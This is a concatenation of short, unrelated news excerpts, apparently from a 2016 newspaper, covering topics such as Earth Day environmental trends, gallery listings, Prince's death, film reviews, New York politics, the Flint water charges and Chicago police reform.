Forty-four years later, human-caused climate change has grown into the dominant concern for environmentalists and governments. Americas environmental problems are less severe, thanks in part to a market economys ability to produce new technologies and in part to the political action that the environmental movement produced. But the global problem  like choking smog in developing economies, rising sea levels and the rise in the planets temperature  remains worrisome.

Here is our overview of how the environment has changed in the 44 years since April 22, 1970:

We breathe cleaner air. Los Angeles, for example, was infamous for its smog back then. Air pollution there, as measured by ground-level ozone, has dropped from 0.58 parts per million to 0.151 p.p.m. Yet this happened while car-loving California drove twice as much over that period. Why?

. . . partly because gasoline-powered cars are more fuel-efficient. In 1970, the average for cars was 13.5 miles per gallon; now its 22.6 m.p.g. Light trucks: 10 m.p.g. vs. 18.1 m.p.g. But the overall fuel efficiency has improved less  13 m.p.g. vs. 20.7 m.p.g. because a higher proportion of S.U.V.'s and pickups are on todays highways.)
Queer Thoughts A new gallery transplanted from Chicago, Queer Thoughts aims, according its website, to promote a post-identity agenda within artistic practice. Work that explores the world of strippers, by Chelsea Culprit, a young Chicagoan, is on view. Among the works are a painting, with a concrete frame, of a serpent-wielding dancer and a greenish glass slipper cast in lead crystal.

Dont Miss

The nonprofit Apex Art mounts shows proposed by young and emerging curators. The current one, Space Between the Skies: A Virtual Reality Experience, lives up to its title. Oculus headsets hanging from the ceiling offer an opportunity to experience the technology and consider representations of space and landscape created especially for video or virtual reality. On the western edge of SoHo, Kate Werble will open a show on Saturday of Lui Shtinis paintings, which merge vague, surrealist shapes with the idea of painting as a skin.

Apres-Gallery

Terroir TriBeCa This wine bar with a homey neighborhood feel also caters to craft beer enthusiasts, featuring Other Half, Bells and Lost Nation on its menu as well as ciders (Austin Eastciders Original). A daily happy hour oyster deal (4 to 6 p.m.)adds to the appeal of this bar, a short walk south from the Wooster Street galleries and a couple of blocks from the Hudson River. 24 Harrison Street, TriBeCa, 212-625-9463, wineisterroir.com.  NICOLE HERRINGTON
NATHALIE KARG On the top floor of 291 Grand Street, Nathalie Karg, who recently relocated from the East Village, is showing abstract paintings by Nathlie Provosty, in her commercial-gallery debut. Ms. Provosty approaches the modernist monochrome as a convention of unlimited possibility. Especially in the large blue-black canvases that contrast matte and glossy, atmospheric and geometric, she effectively complicates the perceptual mysteries of Ad Reinhardts Black Paintings with her own sense of scale, atmosphere and material punch. This is no mean feat.

Dont Miss

James Fuentes, a Lower East Side original now in his second space, has a show (through Sunday) of the American-South African photographer Roger Ballen, who has continued his gray-on-gray collaborations with people on the margins. These carefully staged photographs portray the extralegal inhabitants of an abandoned house outside Johannesburg, often against walls decorated with their artwork. Shades of Beckett, Miro and Dubuffet drift about in the ether; harsh reality and elegant artifice keep each other at bay.

Apres-Gallery

Metrograph A fine-art pairing: Lower East Side galleries and the documentary Hockney. The British artist David Hockney and his Technicolor canvases are the subjects of this Randall Wright film, screening at Metrograph and other theaters. (Stephen Holdens review appears on Page 7.) This new kid on the art-house block will be opening its bar and restaurant soon, but savory and sweet snacks are available. 7 Ludlow Street, near Canal Street, 212-660-0312.

Top Hops Beer ShopDont let the name fool you. This is a friendly spot for craft-beer connoisseurs and novices alike. And the awe factor is pretty high: About 20 brews are on tap and hundreds of bottles  whose colorful labels create a sort of kaleidoscopic display  are available for purchase. 94 Orchard Street, Lower EastSide, 212-254-4677.  NICOLE HERRINGTON
[ Read our latest report on Princes final days ]

Wait a few days before you waste any prayers.

That was Princes reassurance to fans gathered for a dance party on Saturday night at his Paisley Park complex in Chanhassen, Minn., after reports that he had suffered a health scare during a flight on Friday.

This famously private performer warned the hometown crowd not to always trust the media. A representative had insisted for weeks that it was only the flu.

Days later, Prince was dead at 57, discovered not breathing after an emergency call at 9:43 a.m. on Thursday in an elevator at Paisley Park, which houses his estate and studio. While no cause of death has been given, Jason Kamerud, the chief deputy for the Carver County Sheriffs office, said the local medical examiner would conduct an autopsy. Results are typically not available for a few days, he said.
From 2004 to 2015, the well-traveled Latvian maestro Mariss Jansons led something of a charmed professional life as chief conductor of two of Europes most venerable ensembles, the Bavarian Radio Symphony Orchestra of Munich and the Royal Concertgebouw Orchestra of Amsterdam. But when Mr. Jansons, who is 73 and has had a series of medical issues since a near-fatal heart attack mid-performance in 1997, decided to lighten his workload, he faced an unenviable choice: which orchestra to drop.

He kept the Bavarians, whom he conducted in two programs at Carnegie Hall this week, partly to continue his fight for a much-needed new concert hall for the orchestra, as he recently told The Chicago Tribune. Leaving Munich just when discussions were heating up regarding a new concert hall, he said, would be as if I were betraying the orchestra, and then nothing would have been built.

Instead, Mr. Jansons stayed and pledged to donate his $270,000 award from the 2013 Siemens Music Prize toward construction. City officials agreed in January to build a new hall, scheduled to open in 2021, and Mr. Jansons says he plans to stay in Munich at least until then.

But much of his soul remains in St. Petersburg, where both he and his father  the renowned maestro Arvid Jansons, who died of a heart attack in mid-performance in 1984  were long associated with the Leningrad, now St. Petersburg, Philharmonic. Mr. Jansons keeps a home in the city. So the performance of Shostakovichs Leningrad Symphony on Wednesday held special promise.
The German automaker Daimler AG said late Thursday that it was conducting an internal investigation of its certification process for diesel exhaust emissions in the United States at the request of the Justice Department.

Last year, Volkswagen admitted to installing software in diesel vehicles sold since 2009 that let them emit up to 40 times the allowed amount of nitrous oxide, a pollutant. The Environmental Protection Agency said it would review all light-duty diesel vehicles in the United States.

Daimler is cooperating fully with the authorities. Daimler will consequently investigate possible indications of irregularities and of course take all necessary actions, Daimler said in a statement. The companys experience with the U.S. authorities has clearly shown that a conservative communication supports the constructive dialogue with the authorities.

The Environmental Protection Agency said in February that it had requested information from Daimler in light of a lawsuit filed by Mercedes-Benz owners in the United States, but that it had not opened an official investigation.
DETROIT  SINCE going bankrupt in 2009 and needing a government bailout to survive, General Motors has methodically rebuilt itself as a profitable automaker that has capitalized on surging sales in the United States market.

But despite reporting on Thursday that its first-quarter earnings had more than doubled from a year ago, G.M. still apparently has a lot to prove to investors.

The companys stock price hardly budged from its recent level of $32 on the news that G.M. earned $1.95 billion in the quarter, compared to $945 million in the same period in 2015.

Industry analysts have been generally impressed by G.M.s comeback from its financial problems and its recent safety crisis over faulty ignition switches linked to 124 deaths.
Late-night pharmacy runs. Bulky pads. Periods have simply long been an uncomfortable experience.

But now it has become an economic issue, too. Businesses, lawmakers and advertisers, prodded in large part by a frank online discussion of menstrual cycles and backed by calls for gender equality, have sought ways to make menstrual cycles a little less agonizing.

Eight states and the District of Columbia have moved to eliminate sales tax on pads and tampons, and bills have recently passed in the New York and Mississippi State Senates. In New York, Gov. Andrew Cuomo is expected to sign the measure into law in the coming weeks.

New companies are pursuing products to make women more comfortable during their period, including underwear that its manufacturer says will not leak and tampons made from 100 percent cotton.

Even advertisers are taking a bolder approach to menstruation. Instead of displaying blue liquids squirting out of pipettes and women in white dresses frolicking on the beach, they are showing real women doing real activities, like working at a computer.
The data analysis provided fresh evidence of suffering among white Americans. Recent research has highlighted the plight of less educated whites, showing surges in deaths from drug overdoses, suicides, liver disease and alcohol poisoning, particularly among those with a high school education or less. The new report did not break down suicide rates by education, but researchers who reviewed the analysis said the patterns in age and race were consistent with that recent research and painted a picture of desperation for many in American society.

This is part of the larger emerging pattern of evidence of the links between poverty, hopelessness and health, said Robert D. Putnam, a professor of public policy at Harvard and the author of Our Kids, an investigation of new class divisions in America.

The rise in suicide rates has happened slowly over many years. Federal health researchers said they chose 1999 as the start of the period they studied because it was a low point in the national suicide rate and they wanted to cover the full period of its recent sustained rise.

The federal health agencys last major report on suicide, released in 2013, noted a sharp increase in suicide among 35- to 64-year-olds. But the rates have risen even more since then  up by 7 percent for the entire population since 2010, the end of the last study period  and federal researchers said they issued the new report to draw attention to the issue.

Policy makers say efforts to prevent suicide across the country are spotty. While some hospitals and health systems screen for suicidal thinking and operate good treatment programs, many do not.

We have more and more effective treatments, but we have to figure out how to bake them into health care systems so they are used more automatically, said Dr. Jane Pearson, chairwoman of the National Institute of Mental Healths Suicide Research Consortium, which oversees the National Institutes of Health funding for suicide prevention research. Weve got bits and pieces, but we havent really put them all together yet.
Times Insider delivers behind-the-scenes insights from The New York Times. Below are highlights from television and radio interviews featuring Times reporters and columnists.

Alexander Burns, a political reporter for The Times, joined Sky TV to discuss the New York State presidential primary and the potential for a contested Republican convention in July:

The party would be doing something really extraordinary in American politics, something we havent seen in decades and decades, by taking the nomination away from the front-runner and handing it to the second or third place finisher simply because they believe the front-runner cannot win.

Rachel Swarns, a Metro columnist for The Times, joined The Diane Rehm Show on WAMU Radio to discuss her feature on Georgetown Universitys ties to slavery and the slave trade:

Its surprising to many of us that the Jesuits owned slaves, but that history actually has been quite well documented. But what Adam Rothman at Georgetown and Richard Cellini, an alum, were trying to do is see what happened to the people who were sold to help save Georgetown. And if you can imagine entire communities being uprooted, sent on a number of ships to places that they had no connection to. Louisiana is where they ended up. It was devastating to these people.

Eric Schmitt, a senior writer for The Times covering terrorism and national security issues, joined KCRW Radios To The Point to discuss his coverage of Defense Secretary Ashton B. Carters announcement that the United States will deploy as many as 200 more troops to the fight against militants in Iraq and Syria:

These troops are largely special forces that are going to be helping train and advise the Iraqis as they get closer to a final showdown in Mosul, the second largest city in Iraq and the largest stronghold the Islamic State has in the country. The Iraqis have been making slow progress moving in toward Mosul over the last several months, but the Pentagon has been pressing to move more advisers closer to the fight, which is happening with this announcement today by Mr. Carter.

John Koblin, a television reporter for The Times, joined New Hampshire Public Radios Word of Mouth to discuss his recent piece on the tricky tasks for the staff of the television show Naked and Afraid:
Compadres tries to be a lighthearted cross-border buddy film, and sometimes it succeeds. But consistency is a problem  it doesnt hit those humorous high notes often enough, and when its not in the comedic groove, its muddy.

Omar Chaparro plays Garza, a Mexican police officer whose reckless style and contempt for authority soon make him a former Mexican police officer. Finding redemption means tracking down some crime syndicate loot that is already the subject of a dispute among rival thugs. Eventually Garza forms an alliance with a young American hacker (Joey Morgan) who played a small role in moving the hot money.

Mr. Chaparro and Mr. Morgan trade obligatory insults on their way toward begrudging mutual respect, but they never quite find the buddy comfort zone attained by the best pairs in this genre. Some of the bad guys are amusing  one is inexplicably in clown makeup; anothers preferred weapon is a flamethrower. Eric Roberts turns up occasionally as an F.B.I. agent, but hes never around long enough to make good use of his skills.

There are laughs in this bilingual yarn, but the story grows convoluted, and Enrique Begne, the director, relies far too much on the stock cop-movie scene: heroes in a seemingly impossible fix, guns trained on them but no one firing. Ho-hum; here comes another miraculous escape.
On Dec. 21, 1970, one of the most popular men in the world met one who would soon be among the more loathed, shaking hands and trading small talk. During this weird Oval Office summit, Elvis Presley (the beloved) trash-talked the Beatles as un-American and Richard M. Nixon (the other guy) handed out souvenirs to the Kings courtiers. Nixon didnt write about this encounter in his memoirs, but a photograph of him smiling while shaking hands with Presley is the most requested item from the National Archives  a bigger hit than even the Constitution or the Bill of Rights.

It was an improbable meeting of suspicious minds, instigated by Presleys desire to be a federal agent at large, which would give him a badge that, Priscilla Presley later wrote, he thought would allow him to travel freely with guns and drugs. Presley personally delivered his request, handwritten on American Airlines stationery, to the White House, and a presidential aide pitched the get-together to the chief of staff, H. R. Haldeman: If the president wants to meet with some bright young people outside of the government, Presley might be a perfect one to start with. Mr. Haldeman was dubious. You must be kidding, he scribbled on the letter, though he did sign off on the visit.

The meeting ran as long as 30 minutes if the presidential diaries are to be trusted. Not much happened. Presley gave Nixon a commemorative World War II Colt .45 mounted in a display case, and Nixon admired Presleys cuff links. Presley also hugged Nixon. In his notes on the appointment, a White House assistant deputy, Egil Krogh, wrote that Presley, in a very emotional manner, told Nixon that he was on the presidents side, wanted to be helpful and restore some respect for the flag which was being lost. Presley, Mr. Krogh wrote, also said that he was just a poor boy from Tennessee who had gotten a lot from his country, which in some way he wanted to repay.
It takes an actor with the finesse of Tom Hanks to turn a story of confusion, perplexity, frustration and panic into an agreeably uncomfortable comedy. But thats what Mr. Hanks accomplishes in the German filmmaker Tom Tykwers easygoing screen adaptation of Dave Eggerss novel A Hologram for the King. This fanciful tale about Alan Clay, an American consultant visiting Saudi Arabia to sell a holographic teleconferencing system to the Saudi government, has been transformed through the force of Mr. Hankss nice-guy personality. His performance elevates an ominous, downbeat reflection on American decline and runaway technology into a subdued absurdist farce with dark geopolitical undercurrents.

The movie is set in 2010, when America was still reeling from the financial crisis and months before the beginning of the Arab Spring uprisings that eventually transformed much of the Middle East into a grisly battleground. In the surreal opening scene, Alan walks down a suburban street, loudly singing the Talking Heads song Once in a Lifetime, whose narrator asks you to imagine losing your house and your wife. All at once, we have landed in Jeddah, Saudi Arabia, in a topsy-turvy world of technological disruption and hierarchal imbalance.

Alan is in a wretched state when he arrives. Broke, depressed, newly divorced and desperate to regain his financial footing, he is acutely aware that his entire future depends on the successful completion of a deal involving the sale of a miraculous invention that suggests the modern equivalent of Aladdins magic lamp. Later in the movie, we see a brief, underwhelming demonstration of its wonders.

From the moment Alan lands, he encounters humiliating obstacles. The king, he is told, is away but is expected back very soon. But the days drag on, and the lives of Alan and the three-person I.T. support team that preceded him become a Beckettian waiting game.
Sworn Virgin, the debut feature from the Italian director Laura Bispuri, concerns a fading custom in remote Albania, where some women have sworn off marriage, sex and parenthood and proceeded to live as men.

The films protagonist (Alba Rohrwacher), known as Mark, has taken this path, gaining rights in a fiercely patriarchal culture. Mark is first seen wrangling a goat in a snowy mountain village. This taciturn character travels from Albania to Italy and shows up at the door of Lila (Flonja Kodheli), who was raised as Marks sister when Mark was known as Hana. Lila appears to know of the new identity, but the two havent seen each other in 14 years. While living with Lilas family in Italy, Mark tentatively shifts back toward life as Hana.

Ms. Bispuri, showing the young Hana in flashbacks, offers harrowing highlights from the womens upbringing: The girls are told that its not good to speak before a man speaks. Lilas dowry includes a bullet in case her future husband ever finds reason to complain about his wife.

Sworn Virgin alternates between this oppressive atmosphere and more lyrical present-day sequences. Mark is entranced with female bodies in a pool, and also intrigued by Bernhard (Lars Eidinger), a man who works at the pool and immediately proves receptive to that curiosity.
The Tribeca Film Festival announced its winners Thursday, with movies from first-time feature directors and seasoned veterans taking prizes.

The Founders Award for best narrative feature went to the comedy Dean, the directorial debut of Demetri Martin, who also wrote and stars in the movie. The best international feature prize went to Junction 48, an Israeli film with a Palestinian rapper at its center. Craig Atkinsons Do Not Resist, about the militarization of police forces in the United States, won the prize for best documentary feature. All three awards come with $20,000 prizes.

Priscilla Anany won the prize for best new narrative director for her Ghanaian film Children of the Mountain, about a woman who faces scrutiny when her child is born with birth defects.

The Albert Maysles New Documentary Director Prize went to David Feige for Untouchable, which looks at the effect of strict sex offender laws in the United States.
A New York City Board of Elections official in Brooklyn was suspended on Thursday as city and state officials investigate whether tens of thousands of Democratic voters were improperly removed from voter rolls ahead of the New York presidential primary on Tuesday.

Diane Haslett-Rudiano, the boards chief clerk in Brooklyn, has been suspended without pay pending the outcome of an internal investigation into the handling of voter rolls, the board said in a statement on Thursday. Her suspension was reported on Thursday by The Daily News.

The board performance during the presidential primaries on Tuesday was the subject of complaints by voters who said they faced difficulties trying to cast ballots. Mayor Bill de Blasio said Tuesday that voters and voting-rights monitors had reported the purging of entire buildings and blocks of voters from the voting lists.

More than 125,000 Democratic voters in Brooklyn were dropped from the rolls between November 2015 and this month, while about 63,000 others were added, officials said.
HALFMOON, N.Y.  Maggie Kuebler fought through pain as she wielded heavy power tools to free victims trapped in a mock vehicle accident, one of the many tests she underwent to become a volunteer firefighter.

Her 5-foot-7, 150-pound frame shook with exhaustion, but she refused to quit. She knew that some day she could face real life-or-death situations, just as her father, a former Port Authority of New York and New Jersey police officer whose life of service she wanted to emulate, had.

Ms. Kuebler, 20, is among a growing number of women climbing tall aerial ladders or rescuing people from smoky rooms as members of New York States volunteer fire companies, which serve millions of residents in small towns and suburban communities that cannot afford paid professional departments.

You just keep telling yourself, I have to get this person out, I have to get the job done,  said Ms. Kuebler, a volunteer with the Walton Fire Department in rural Delaware County.
Generally what happened was somebody said we have a donor who would like to help Ted, said Dave Garretson, chairman of the Monroe County Democratic Committee at the time. They would like to make a contribution to the county committee where the contribution limit is higher.

Mr. Garretson said that he had made it clear he could not promise how the money would be spent, and that there were never any conversations with donors where there was a wink-wink arrangement. He and Mr. Epstein also said that their committees sought advice to ensure that their handling of the money was proper, adding that they did not deal directly with donors.

Neither the county officials nor Mr. de Blasio, who held fund-raisers in September and October of 2014 in New York City on behalf of upstate Senate Democrats, has been accused of any wrongdoing.

Money has always played an outsize role in political races, but its influence increased in 2014, when an aggregate limit of $150,000 on individual donors was struck down in a court, paving the way for a single donor to give the $102,300 maximum to more party committees and, ultimately, embattled candidates.

The process of soliciting donations for the county committees, which political-campaign veterans characterized as commonplace and legal, appeared to be a central part of the state prosecutors investigation into the fund-raising for the Senate races.

Mr. de Blasios efforts to raise money on behalf of Senate Democrats began early in his administration. On Sept. 10, 2014, he convened roughly 160 potential donors, many of whom had contributed to his mayoral campaign, at a breakfast meeting at the Midtown Manhattan offices of a law firm, Kramer Levin, making the case for why his liberal agenda would falter in Albany unless the Democrats gained control of the Capitol.

At the meeting, the mayors top political aide, Emma Wolfe, outlined which of the swing races that year could tip the balance in favor of Democrats in the State Senate. While politicians are not usually shy about asking for money for their campaigns, Mr. de Blasio left the meeting before his campaign finance director, Ross A. Offinger, made the pitch for donations, according to two people who were present. The mayor returned to the room soon after. Mr. Offinger has come under scrutiny in two different aspects of the sprawling federal investigation.
New York City has agreed to pay $40 million to settle civil rights lawsuits filed by five people who claimed they were wrongfully convicted of murder in the Bronx and who each spent more than 17 years in prison, according to a court filing, plaintiffs lawyers and a spokesman for the Law Department.

Three of the plaintiffs  Devon Ayers, Michael Cosme and Carlos Perez  were convicted in the 1995 murders of Baithe Diop, a livery cab driver who was fatally shot in his car, and Denise Raymond, a Federal Express executive who was shot execution-style in her apartment. The Bronx district attorneys office had said the killings were linked.

The two other plaintiffs, Eric Glisson and Cathy Watkins, were each convicted only in Mr. Diops killing.

In a letter to Judge Jesse M. Furman of Federal District Court in Manhattan on Thursday, the Law Department said that it had completed settlements with Mr. Ayers, Mr. Cosme and Mr. Perez, and that it had agreements in principle to settle the cases of Mr. Glisson and Ms. Watkins.
9. Republicans have gotten what they seemed to want: a depleted, defanged Internal Revenue Service. The target of anti-tax sentiments that in recent years have grown in intensity, the I.R.S. is fighting back, arguing that budget cuts have forced the agency to collect less money and pursue fewer fraudsters. You really shouldnt be able to reduce the amount you spend on I.R.S., decrease their performance ability and then complain about their performance, an analyst said.

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The residents of Flint, Mich., have been let down repeatedly by government officials at every level. On Wednesday, however, they finally received some small measure of justice when Michigans attorney general filed criminal charges against three government workers for their roles in the citys water contamination crisis.

Criminal charges are rare in environmental cases, which is what makes this announcement significant. The attorney general, Bill Schuette, accused the workers  two state Department of Environmental Quality officials and Flints utilities manager  of felonies and misdemeanors, including misconduct in office and tampering with evidence. Mr. Schuette also said that his offices investigation is not finished and that it could bring charges against more officials.

It is important that the investigation continue, on both state and federal levels, not only to hold people accountable, but also to help restore faith in the government of Michigan and the federal Environmental Protection Agency. Both have betrayed the city and its residents. State and local officials failed to properly treat the water, which was corroding lead pipes, and lied about what they were doing. Despite numerous residents complaints, Gov. Rick Snyders administration took months to acknowledge and respond to the problem. The E.P.A. was unconscionably slow to intervene.
Sheldon Silver, felon, symbol of all that is rotten in New York State government, is still ducking and weaving, saying much but revealing little, heedless of the shame and opprobrium clinging to him like cat hair on a coat.

The former Assembly speaker awaits sentencing next month for extortion, money laundering and other crimes. On April 14 he wrote a letter to the judge. What I have done has hurt the Assembly, and New York, and my constituents terribly, he wrote, and I regret that more than I can possibly express. This was supposed to sound like an apology, though Mr. Silver was vague about what he was actually sorry for. My attorneys, he wrote, have advised me not to comment on the facts of my case  given my possible appeal.

What Mr. Silver didnt say: He is trying to keep his taxpayer-financed pension, trying to stay out of prison and trying to forfeit as little cash as possible from the schemes that the federal government says netted him more than $5 million over the decades.
Fourteen years after its completion, the full record of Congresss investigation into the 9/11 attacks has not been published. Twenty-eight pages are still being withheld amid suspicions that what they contain could implicate the Saudi government and Saudi citizens in the terrorist strike.

President George W. Bush ordered the pages kept secret in 2002. In 2014, prodded by some of the 9/11 families, President Obama asked intelligence officials to work on declassifying the material. The process is still dragging on. The 28 pages should be released immediately. Americans still do not know exactly why 15 out of the 19 hijackers from Al Qaeda were Saudi citizens and whether that indicates efforts by influential Saudis, including in the powerful religious establishment, to support the plot. Former Senator Bob Graham, who was a co-chairman of the 2002 joint congressional inquiry into the attacks, has long claimed there is evidence of complicity by institutions and people beyond the 19 terrorists.

The Saudi government has long denied any involvement and that view was largely supported by the 9/11 Commission, an independent bipartisan panel that conducted a separate inquiry in 2004 and found no evidence that the Saudi government as an institution or senior Saudi officials funded Al Qaeda. Still, questions remain about the work of a number of Saudi-sponsored charities with financial links to Al Qaeda.

As Ben Rhodes, a White House official, said Monday, while it was not Saudi government policy to support Al Qaeda, There were a number of very wealthy individuals in Saudi Arabia who would contribute, sometimes directly, to extremist groups, sometimes to charities that  ended up being ways to launder money to these groups.
We have made our home in Elizabeth, N.J., for the past 13 years and now have three beautiful daughters, ages 6, 13 and 17. The younger girls were born here and so are American citizens, but my oldest daughter, an honors student at the local magnet high school, was undocumented until President Obama announced his first major executive action on immigration, Deferred Action for Childhood Arrivals (DACA) in 2012. She applied for DACA as soon as she turned 15, and got a Social Security number. This means she can establish a real life here. It makes us more certain that she will have all of the educational opportunities she worked so hard for and that we dreamed about when we first decided to stay here.

Still, she has to miss a lot of activities because we dont have licenses so we cant drive her anywhere. She leaves home to take the bus to school every morning at 6:30. I walk my younger daughters to school. If DAPA goes through, I could apply for a drivers license and take my children to school like the parents of their classmates do.

My husband is 63 years old and works unloading trucks at a warehouse for a little more than minimum wage. Most days, he is in pain. Doctors tell him he should look for another job, but he has few options because he doesnt have a Social Security number. He leaves for work most days at 3 in the morning because he is dependent on getting a ride from a friend.

We fear deportation all the time. One day, a police officer stopped the car my husband was riding in and asked everyone for identification. My husband doesnt have an ID, and the police officer made him get out of the car. My husband was terrified that he would be arrested and sent back to Peru. In the end, the officer just made him wait outside in the cold. Fortunately, another friend came to pick him up and take him to work; otherwise he could have lost his job.

This year, both of my husbands parents died. He hadnt seen them in nearly 14 years. When his mother was dying, all he could do was speak to her on the phone, telling her how much he loved her. When she died he was inconsolable for days.
They are interested in protecting the content that the Chinese people see, policing its national security and favoring indigenous giants such as Huawei, Alibaba and Tencent, Mr. Rosen said. In this new era, he added, China is strongly disinclined to accept the dominance of foreign players on the Internet, not least those from the United States.

After the shutdown of Apples services, President Xi Jinping of China, who has led a crackdown on Western ideology, conducted a meeting on Tuesday in Beijing on Chinas restrictive Internet policies. Chinas top tech leaders, including Jack Ma, chairman of the e-commerce company Alibaba, and Ren Zhengfei, head of Huawei, were present at the meeting.

China must improve management of cyberspace and work to ensure high-quality content with positive voices creating a healthy, positive culture that is a force for good, a report by the state-run news service Xinhua quoted Mr. Xi as saying.

Since the Snowden leaks, Chinas state media identified eight American companies that it has labeled guardian warriors and that it has said were too deeply established in the countrys core industries such as energy, communications, education and military.

Sales in China for those companies, including Cisco, IBM, Microsoft and Qualcomm, have slid as government oversight has increased. Some have grappled with raids, investigations and fines. Some have also been pressured to sell off holdings, hand over technology and work with local partners to expand their China businesses.

Though Apple is one of the eight, it has had a much easier time.

In 2013, Apple signed an agreement with Chinas largest wireless carrier, China Mobile, to sell the iPhone in the country, after six years of wooing the carrier. Chinese consumers spent $59 billion on Apples products in the companys last fiscal year. Timothy D. Cook, Apples chief executive, has made multiple visits to China. And while the company has faced occasional opposition  most notably an attack by state and Communist Party media against its customer support  it has largely been left alone.

There have been some signs of trouble ahead. Mr. Xi has presided over a deep freeze on the Internet, increasing censorship and taking aim at online tools used to circumvent Chinas system of online filters, known as the Great Firewall. He has also added new policy tools to keep tabs on electronic communications. Mr. Xi heads a committee of top leaders set up to streamline tech and Internet policy and turn the country into a cyberpower.
The Adonia, of Carnivals Fathom brand, which can host 704 travelers, will set sail from Miami and dock in the Bay of Havana for two nights. Then it will round the western tip of Cuba and spend one night at Cienfuegos, a French-influenced, former sugar-trading hub on the islands southern coast. The ship will make a final stop at Santiago de Cuba, at the far eastern tip of the island, before returning to Miami.

Passengers on the ship have to travel under one of 12 categories of licensed travel to Cuba, which include so called people-to-people trips that involve a full-time schedule of engagement with Cuban people and culture. Arnold W. Donald, chief executive of Carnival Corporation, told reporters on a conference call on Friday that Fathom will offer talks, concerts and workshops to allow deep immersion in Cuba. The company would take care of visas and of retaining documentation required by the Treasury Department about how passengers spent their time.

The rules for Cubans are different: They are allowed under Treasury Department regulations to visit Cuba from the United States; Cuban authorities demand that they do so with their Cuban passport.

Mr. Donald said that there had been few inquiries so far from prospective Cuban passengers but that he expected to receive more now that Cuban authorities had said they could travel to the island by sea.

Royal Caribbean International and Norwegian Cruise Line, both based in Miami, have expressed interest in operating cruises to Cuba but need authorization from the Cuban government.
Bettye Caldwell, an apostle of a prekindergarten program that prepared poor children for elementary school and became a catalyst for Head Start, died on Sunday in St. Louis. She was 91.

The cause was complications of heart disease, her son, Paul F. Caldwell, said.

Throughout her career, Dr. Caldwell campaigned for what she called educare  early-childhood programs that begin in infancy and are integrated into the school experience, rather than being relegated to separate custodial day care.

In the early 1960s, Dr. Caldwell, then director of the Childrens Center at Syracuse University, collaborated on a pilot project that suggested children born to poor families developed normally until they were about 1 year old, but then declined intellectually compared with their peers.

That decline could be prevented or arrested, the project concluded, by creating a conducive environment for learning without breaking the bonds between infants and their families. The Syracuse center was considered a groundbreaking university-based program for infants and toddlers of working mothers; it required a waiver from the state, which, at the time, did not permit infants to be cared for in a group setting. The effort focused on children from 6 months to 5 years old.
MIDWEST

Illinois: Video of Attack Shows Onlookers Inaction

Surveillance video shows more than a dozen people doing nothing to help a Chicago bartender as he is attacked, left unconscious on the street and accidentally run over by a taxi. The family of the bartender, Marques Gaines, 32, has filed a wrongful-death and negligence lawsuit against several businesses and taxi companies in his Feb. 7 death. The video shows him talking with other people outside a store before getting into a confrontation with a man who shoves him. Mr. Gaines is punched and falls to the ground. Several people are then seen approaching him. The Chicago Tribune reported that Mr. Gainess family said his cellphone and debit card were stolen. Police said they could not confirm he was robbed. Several other people ignore Mr. Gaines before a taxi turning onto the street runs over his body. Relatives said they hoped witnesses would help identify the attacker.

(AP)

SOUTH

Arkansas: Veto Probably Saves Expansion of Medicaid

Gov. Asa Hutchinson on Thursday saved Arkansass Medicaid expansion by voiding part of a budget bill that would have ended the subsidized insurance for more than 250,000 poor people. Mr. Hutchinson, a Republican, vetoed a provision that ordered a Dec. 31 end to the program, which uses federal funds to purchase private insurance for the poor. Arkansas was the first state to win approval for its hybrid Medicaid program, created three years ago as an alternative to expanding Medicaid under the Affordable Care Act. Some Republicans had tried to block the program by refusing to approve a Medicaid budget bill that funded it. To get around them, the governor and legislative leaders devised a parliamentary move that required supporters of the program to back a provision ending it. Then Mr. Hutchinson used his veto to strike the end date for the program, which keeps it alive. Opponents are unlikely to be able to override the veto.

(AP)
HOLLYWOOD, Fla.  Donald J. Trumps newly installed campaign chief sought to assure members of the Republican National Committee on Thursday night that Mr. Trump recognized the need to reshape his persona and that his campaign would begin working with the political establishment that he has scorned to great effect.

Addressing about 100 committee members at the spring meeting here, many of them deeply skeptical about Mr. Trumps candidacy, the campaign chief, Paul Manafort, bluntly suggested the candidates incendiary style amounted to an act.

Thats whats important for you to understand: That he gets it, and that the part hes been playing is evolving, Mr. Manafort said, suggesting that Mr. Trump was about to begin a more professional phase of his campaign.

The negatives are going to come down, the image is going to change, but Clinton is still going to be crooked Hillary, he added.
WASHINGTON  For five years, congressional Republicans have taken out their anti-tax wrath on the Internal Revenue Service, cutting its budget by nearly $1 billion, reducing its staff by about 17,000, and even threatening to impeach its chief.

Now they say no one at the agency receives a bonus until customer service improves. And that measure, which the Republican-controlled House easily passed Thursday, was just one of six anti-I.R.S. measures that it approved this week, mostly by party-line votes, to mark the annual tax-filing deadline.

To supporters of the agency  and there are some  years of such attacks have yielded exactly what Republicans seemed to want: a depleted, defanged tax collector.

Im appalled, thats all I can say, said Lawrence B. Gibbs, a tax lawyer at Miller & Chevalier who joined the I.R.S. during the Nixon administration and was President Ronald Reagans choice for commissioner in 1986. Its fine to demonize the I.R.S. It has always been a target. Listen, that goes with the job.
Donald J. Trump says the abstruse Republican delegate system distorts the will of the people.

Senator Ted Cruz says the partys nominating rules have been in place from the beginning.

Mr. Cruz is right, and he may be losing the public argument anyway.

With polls showing a strong preference for nominating the candidate with the most popular votes  even if he fails to secure a majority of delegates before the convention in July  Mr. Cruz has brushed up this week against an uncomfortable reality: His only road to victory is a messy one.

As he slogs through a merciless stretch of the primary calendar, straining to pick off delegates from Northeastern voters who seem disinclined to embrace his hard-line conservatism, Mr. Cruz, of Texas, has appeared increasingly frustrated amid questions about his path.

He has lashed out at Sean Hannity of Fox News, a onetime friend in conservative news media whom Cruz allies have accused of cozying up to Mr. Trump.
CITYS PLAN More officers will have crisis-intervention training to respond to mentally ill people, as the task force recommended. Dispatchers and 911 operators will be trained in properly dispatching officers to scenes where mental illness is suspected.

Alexa James, a licensed clinical social worker who served on the task force, said that she was encouraged by Thursdays announcement and that the more tools officers have to support anybody in crisis, the better. But Ms. James, the executive director of the National Alliance on Mental Illness, said she hoped that the mayor would soon create a response unit, suggested by the task force, that would work with community groups and expand and coordinate the Police Departments training.

Police Misconduct

TASK FORCES FINDING Statistics give real credibility to the widespread perception that there is a deeply entrenched code of silence supported not just by individual officers, but by the very institution itself.

The City Council agreed last year to pay $5.5 million to victims of Jon Burge, a former police commander who tortured suspects and coerced confessions in the 1970s and 80s. Some men who said they had been wrongfully convicted spent years in prison before the city publicly acknowledged the abuses and agreed to pay reparations.

CITYS PLAN Mr. Emanuel called for an early intervention system to identify and help problem officers, a hotline for officers to report colleagues who are breaking the rules, and a set of fixed penalties for misconduct.

